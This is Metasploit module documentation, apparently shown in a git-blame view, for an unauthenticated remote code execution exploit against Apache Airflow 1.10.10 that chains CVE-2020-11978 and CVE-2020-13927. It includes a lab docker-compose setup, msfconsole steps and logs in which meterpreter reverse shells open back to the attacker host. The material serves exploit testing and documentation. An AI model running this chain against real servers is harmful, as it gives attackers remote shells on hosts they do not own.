2023-08-11 21:43:16 +06:30
|
|
|
## Vulnerable Application
|
|
|
|
|
|
|
|
|
|
The vulnerability affects:
|
|
|
|
|
|
|
|
|
|
* Apache Airflow versions less than 1.10.11
|
|
|
|
|
|
|
|
|
|
This module was successfully tested on:
|
|
|
|
|
|
|
|
|
|
* Apache Airflow 1.10.10 installed with Docker on Debian 10
|
|
|
|
|
* Apache Airflow 1.10.10 installed with Docker on Kali Linux 6.3.0
|
|
|
|
|
* Apache Airflow 1.10.10 installed with Docker on Windows 10
|
|
|
|
|
|
|
|
|
|
Note that this module has not been tested on non-Docker installations of Airflow.
|
|
|
|
|
|
|
|
|
|
### Description
|
|
|
|
|
|
|
|
|
|
This module exploits an unauthenticated command injection vulnerability by combining
|
|
|
|
|
two critical vulnerabilities in Apache Airflow 1.10.10. The first, CVE-2020-11978, is
|
|
|
|
|
an authenticated command injection vulnerability found in one of Airflow's example DAGs,
|
|
|
|
|
`example_trigger_target_dag`, which allows any authenticated user to run arbitrary OS
|
|
|
|
|
commands as the user running Airflow Worker/Scheduler. The second, CVE-2020-13927, is a
|
|
|
|
|
default setting of Airflow 1.10.10 that allows unauthenticated access to Airflow's
|
|
|
|
|
Experimental REST API to perform malicious actions such as creating the vulnerable DAG
|
|
|
|
|
above. The two CVEs taken together allow vulnerable DAG creation and command injection,
|
|
|
|
|
leading to unauthenticated remote code execution.
|
|
|
|
|
|
|
|
|
|
### Setup
|
|
|
|
|
|
|
|
|
|
Install Apache Airflow v1.10.10 with a `docker-compose.yml` file below
|
|
|
|
|
([reference](https://github.com/pberba/CVE-2020-11978/blob/main/docker-compose.yml)):
|
|
|
|
|
```yml
|
|
|
|
|
version: '3'
|
|
|
|
|
|
|
|
|
|
services:
|
|
|
|
|
x-airflow-common:
|
|
|
|
|
&airflow-common
|
|
|
|
|
image: apache/airflow:1.10.10
|
|
|
|
|
environment:
|
|
|
|
|
&airflow-common-env
|
|
|
|
|
AIRFLOW__WEBSERVER__AUTHENTICATE: 'true'
|
|
|
|
|
AIRFLOW__WEBSERVER__AUTH_BACKEND: 'airflow.contrib.auth.backends.password_auth'
|
|
|
|
|
AIRFLOW__CORE__LOAD_EXAMPLES: 'true'
|
|
|
|
|
user: "${AIRFLOW_UID:-50000}:${AIRFLOW_GID:-50000}"
|
|
|
|
|
airflow-webserver:
|
|
|
|
|
<<: *airflow-common
|
|
|
|
|
entrypoint: ["/bin/bash", "-c", "pip install 'apache-airflow[password]==1.10.10' --user && airflow initdb && (airflow webserver & airflow scheduler)"]
|
|
|
|
|
ports:
|
|
|
|
|
- 8080:8080
|
|
|
|
|
healthcheck:
|
|
|
|
|
test: ["CMD", "curl", "--fail", "http://localhost:8080/health"]
|
|
|
|
|
interval: 10s
|
|
|
|
|
timeout: 10s
|
|
|
|
|
retries: 5
|
|
|
|
|
restart: always
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
Run:
|
|
|
|
|
|
|
|
|
|
```sh
|
|
|
|
|
docker-compose up
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
and wait for the health check logs to indicate a 200 status message, e.g.:
|
|
|
|
|
|
|
|
|
|
```log
|
|
|
|
|
airflow-webserver_1 | 127.0.0.1 - - [11/Aug/2023:11:48:00 +0000] "GET /health HTTP/1.1" 200 187 "-" "curl/7.64.0"
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## Verification Steps
|
|
|
|
|
|
|
|
|
|
- [x] Install Apache Airflow v1.10.10 as described above.
|
|
|
|
|
- [x] Verify that the container is in good health by looking at the logs or navigating to
|
|
|
|
|
`http://<TARGET_IP>:8080/admin/airflow/login`.
|
|
|
|
|
- [x] Start `msfconsole`.
|
2023-09-17 22:42:07 +08:00
|
|
|
- [x] Do: `use exploit/linux/http/apache_airflow_dag_rce`.
|
2023-08-11 21:43:16 +06:30
|
|
|
- [x] Do: `set RHOSTS <TARGET_IP>`.
|
|
|
|
|
- [x] Do: `set LHOST eth0`.
|
|
|
|
|
- [x] Do: `exploit`.
|
|
|
|
|
|
|
|
|
|
## Options
|
|
|
|
|
|
|
|
|
|
### TARGETURI (required)
|
|
|
|
|
|
|
|
|
|
This is the base path of the Airflow webserver. Defaults to `/`.
|
|
|
|
|
|
|
|
|
|
### RPORT (required)
|
|
|
|
|
|
|
|
|
|
This is the port of the Airflow webserver. Defaults to `8080`, although Docker port
|
|
|
|
|
mappings or custom installations can change it.
|
|
|
|
|
|
|
|
|
|
### DAG_PATH (required)
|
|
|
|
|
|
|
|
|
|
This is the path to the vulnerable example DAG `example_trigger_target_dag`, as accessed
|
|
|
|
|
from the Airflow Experimental REST API. Defaults to `/api/experimental/dags/example_trigger_target_dag`.
|
|
|
|
|
|
|
|
|
|
### TIMEOUT (required)
|
|
|
|
|
|
|
|
|
|
This is the amount of time (in seconds) that the module will wait for the payload to be
|
|
|
|
|
executed. Defaults to 120 seconds.
|
|
|
|
|
|
|
|
|
|
## Scenarios
|
|
|
|
|
|
|
|
|
|
### Apache Airflow 1.10.10 Installed with Docker on Debian 10
|
|
|
|
|
|
|
|
|
|
* Using default TARGET 0 - Unix Command
|
|
|
|
|
|
2023-08-12 09:28:19 +06:30
|
|
|
```msf
|
2023-09-17 22:42:07 +08:00
|
|
|
msf6 > use exploit/linux/http/apache_airflow_dag_rce
|
2023-08-11 21:43:16 +06:30
|
|
|
[*] Using configured payload cmd/unix/python/meterpreter_reverse_tcp
|
2023-09-17 22:42:07 +08:00
|
|
|
msf6 exploit(linux/http/apache_airflow_dag_rce) > set RHOSTS 192.168.245.139
|
2023-08-11 21:43:16 +06:30
|
|
|
RHOSTS => 192.168.245.139
|
2023-09-17 22:42:07 +08:00
|
|
|
msf6 exploit(linux/http/apache_airflow_dag_rce) > set LHOST eth0
|
2023-08-11 21:43:16 +06:30
|
|
|
LHOST => eth0
|
2023-09-17 22:42:07 +08:00
|
|
|
msf6 exploit(linux/http/apache_airflow_dag_rce) > exploit
|
2023-08-11 21:43:16 +06:30
|
|
|
|
|
|
|
|
[*] Started reverse TCP handler on 192.168.245.128:4444
|
|
|
|
|
[*] Running automatic check ("set AutoCheck false" to disable)
|
2023-08-21 10:25:06 +08:00
|
|
|
[+] The target appears to be vulnerable.
|
|
|
|
|
[*] Executing TARGET: "Unix Command" with PAYLOAD: "cmd/unix/python/meterpreter_reverse_tcp"
|
2023-09-17 22:42:07 +08:00
|
|
|
[+] Successfully created DAG: Created <DagRun example_trigger_target_dag @ 2023-09-17 14:33:46+00:00: manual__2023-09-17T14:33:46+00:00, externally triggered: True>
|
2023-08-21 10:25:06 +08:00
|
|
|
[*] Waiting for Scheduler to run the vulnerable DAG. This might take a while...
|
2023-08-11 21:43:16 +06:30
|
|
|
[*] Bash task is queued...
|
|
|
|
|
[*] Bash task is queued...
|
2023-09-17 22:42:07 +08:00
|
|
|
[*] Meterpreter session 1 opened (192.168.245.128:4444 -> 192.168.245.139:42718) at 2023-09-17 22:34:15 +0800
|
2023-08-11 21:43:16 +06:30
|
|
|
[+] Bash task is running. Expect a session if executed successfully.
|
|
|
|
|
|
|
|
|
|
meterpreter > getuid
|
|
|
|
|
Server username: airflow
|
|
|
|
|
meterpreter > sysinfo
|
2023-09-17 22:42:07 +08:00
|
|
|
Computer : 8603acff8812
|
2023-08-11 21:43:16 +06:30
|
|
|
OS : Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.289-1 (2023-07-24)
|
|
|
|
|
Architecture : x64
|
|
|
|
|
System Language : C
|
|
|
|
|
Meterpreter : python/linux
|
2023-09-17 22:42:07 +08:00
|
|
|
meterpreter >
|
2023-08-11 21:43:16 +06:30
|
|
|
```
|
|
|
|
|
|
2023-09-17 22:42:07 +08:00
|
|
|
### Apache Airflow 1.10.10 Installed with Docker on Kali Linux 6.4.0
|
2023-08-11 21:43:16 +06:30
|
|
|
|
|
|
|
|
* Using default TARGET 0 - Unix Command
|
|
|
|
|
|
2023-08-12 09:29:08 +06:30
|
|
|
```msf
|
2023-09-17 22:42:07 +08:00
|
|
|
msf6 > use exploit/linux/http/apache_airflow_dag_rce
|
2023-08-11 21:43:16 +06:30
|
|
|
[*] Using configured payload cmd/unix/python/meterpreter_reverse_tcp
|
2023-09-17 22:42:07 +08:00
|
|
|
msf6 exploit(linux/http/apache_airflow_dag_rce) > set RHOSTS 127.0.0.1
|
2023-08-11 21:43:16 +06:30
|
|
|
RHOSTS => 127.0.0.1
|
2023-09-17 22:42:07 +08:00
|
|
|
msf6 exploit(linux/http/apache_airflow_dag_rce) > set LHOST eth0
|
2023-08-11 21:43:16 +06:30
|
|
|
LHOST => eth0
|
2023-09-17 22:42:07 +08:00
|
|
|
msf6 exploit(linux/http/apache_airflow_dag_rce) > exploit
|
2023-08-11 21:43:16 +06:30
|
|
|
|
|
|
|
|
[*] Started reverse TCP handler on 192.168.245.128:4444
|
|
|
|
|
[*] Running automatic check ("set AutoCheck false" to disable)
|
2023-08-21 10:25:06 +08:00
|
|
|
[+] The target appears to be vulnerable.
|
|
|
|
|
[*] Executing TARGET: "Unix Command" with PAYLOAD: "cmd/unix/python/meterpreter_reverse_tcp"
|
2023-09-17 22:42:07 +08:00
|
|
|
[+] Successfully created DAG: Created <DagRun example_trigger_target_dag @ 2023-09-17 14:23:37+00:00: manual__2023-09-17T14:23:37+00:00, externally triggered: True>
|
2023-08-21 10:25:06 +08:00
|
|
|
[*] Waiting for Scheduler to run the vulnerable DAG. This might take a while...
|
2023-08-11 21:43:16 +06:30
|
|
|
[!] Bash task is not yet queued...
|
|
|
|
|
[*] Bash task is queued...
|
|
|
|
|
[+] Bash task is running. Expect a session if executed successfully.
|
2023-09-17 22:42:07 +08:00
|
|
|
[*] Meterpreter session 1 opened (192.168.245.128:4444 -> 172.18.0.2:55150) at 2023-09-17 22:24:10 +0800
|
2023-08-11 21:43:16 +06:30
|
|
|
|
|
|
|
|
meterpreter > getuid
|
|
|
|
|
Server username: airflow
|
|
|
|
|
meterpreter > sysinfo
|
2023-09-17 22:42:07 +08:00
|
|
|
Computer : e4879badf9e2
|
|
|
|
|
OS : Linux 6.4.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.4.11-1kali1 (2023-08-21)
|
2023-08-11 21:43:16 +06:30
|
|
|
Architecture : x64
|
|
|
|
|
System Language : C
|
|
|
|
|
Meterpreter : python/linux
|
2023-09-17 22:42:07 +08:00
|
|
|
meterpreter >
|
2023-08-11 21:43:16 +06:30
|
|
|
```
|
|
|
|
|
|
|
|
|
|
### Apache Airflow 1.10.10 Installed with Docker (WSL Backend) on Windows 10
|
|
|
|
|
|
|
|
|
|
* Using default TARGET 0 - Unix Command
|
|
|
|
|
|
2023-09-17 22:42:07 +08:00
|
|
|
* Sometimes, the first Meterpreter session fails, but the second one opens successfully.
|
|
|
|
|
|
2023-08-12 09:29:29 +06:30
|
|
|
```msf
|
2023-09-17 22:42:07 +08:00
|
|
|
msf6 > use exploit/linux/http/apache_airflow_dag_rce
|
2023-08-11 21:43:16 +06:30
|
|
|
[*] Using configured payload cmd/unix/python/meterpreter_reverse_tcp
|
2023-09-17 22:42:07 +08:00
|
|
|
msf6 exploit(linux/http/apache_airflow_dag_rce) > set RHOSTS 192.168.50.180
|
2023-08-21 10:25:06 +08:00
|
|
|
RHOSTS => 192.168.50.180
|
2023-09-17 22:42:07 +08:00
|
|
|
msf6 exploit(linux/http/apache_airflow_dag_rce) > set LHOST eth0
|
2023-08-11 21:43:16 +06:30
|
|
|
LHOST => eth0
|
2023-09-17 22:42:07 +08:00
|
|
|
msf6 exploit(linux/http/apache_airflow_dag_rce) > exploit
|
2023-08-11 21:43:16 +06:30
|
|
|
|
|
|
|
|
[*] Started reverse TCP handler on 192.168.245.128:4444
|
|
|
|
|
[*] Running automatic check ("set AutoCheck false" to disable)
|
2023-08-21 10:25:06 +08:00
|
|
|
[+] The target appears to be vulnerable.
|
2023-08-11 21:43:16 +06:30
|
|
|
[*] Executing TARGET: "Unix Command" with PAYLOAD: "cmd/unix/python/meterpreter_reverse_tcp"
|
2023-08-21 10:25:06 +08:00
|
|
|
[+] Successfully created DAG: Created <DagRun example_trigger_target_dag @ 2023-08-21 02:03:23+00:00: manual__2023-08-21T02:03:23+00:00, externally triggered: True>
|
2023-08-11 21:43:16 +06:30
|
|
|
[*] Waiting for Scheduler to run the vulnerable DAG. This might take a while...
|
|
|
|
|
[!] Bash task is not yet queued...
|
|
|
|
|
[!] Bash task is not yet queued...
|
|
|
|
|
[!] Bash task is not yet queued...
|
|
|
|
|
[!] Bash task is not yet queued...
|
|
|
|
|
[*] Bash task is queued...
|
|
|
|
|
[*] Bash task is queued...
|
|
|
|
|
[+] Bash task is running. Expect a session if executed successfully.
|
2023-08-21 10:25:06 +08:00
|
|
|
[-] Meterpreter session 1 is not valid and will be closed
|
|
|
|
|
[*] 192.168.50.180 - Meterpreter session 1 closed.
|
|
|
|
|
[*] Meterpreter session 2 opened (192.168.245.128:4444 -> 192.168.245.1:65490) at 2023-08-21 10:05:05 +0800
|
2023-08-11 21:43:16 +06:30
|
|
|
|
|
|
|
|
meterpreter > getuid
|
|
|
|
|
Server username: airflow
|
|
|
|
|
meterpreter > sysinfo
|
2023-08-21 10:25:06 +08:00
|
|
|
Computer : 8e6653049826
|
2023-08-11 21:43:16 +06:30
|
|
|
OS : Linux 5.15.90.1-microsoft-standard-WSL2 #1 SMP Fri Jan 27 02:56:13 UTC 2023
|
|
|
|
|
Architecture : x64
|
|
|
|
|
System Language : C
|
|
|
|
|
Meterpreter : python/linux
|
2023-08-21 10:25:06 +08:00
|
|
|
meterpreter >
|
2023-08-11 21:43:16 +06:30
|
|
|
```
|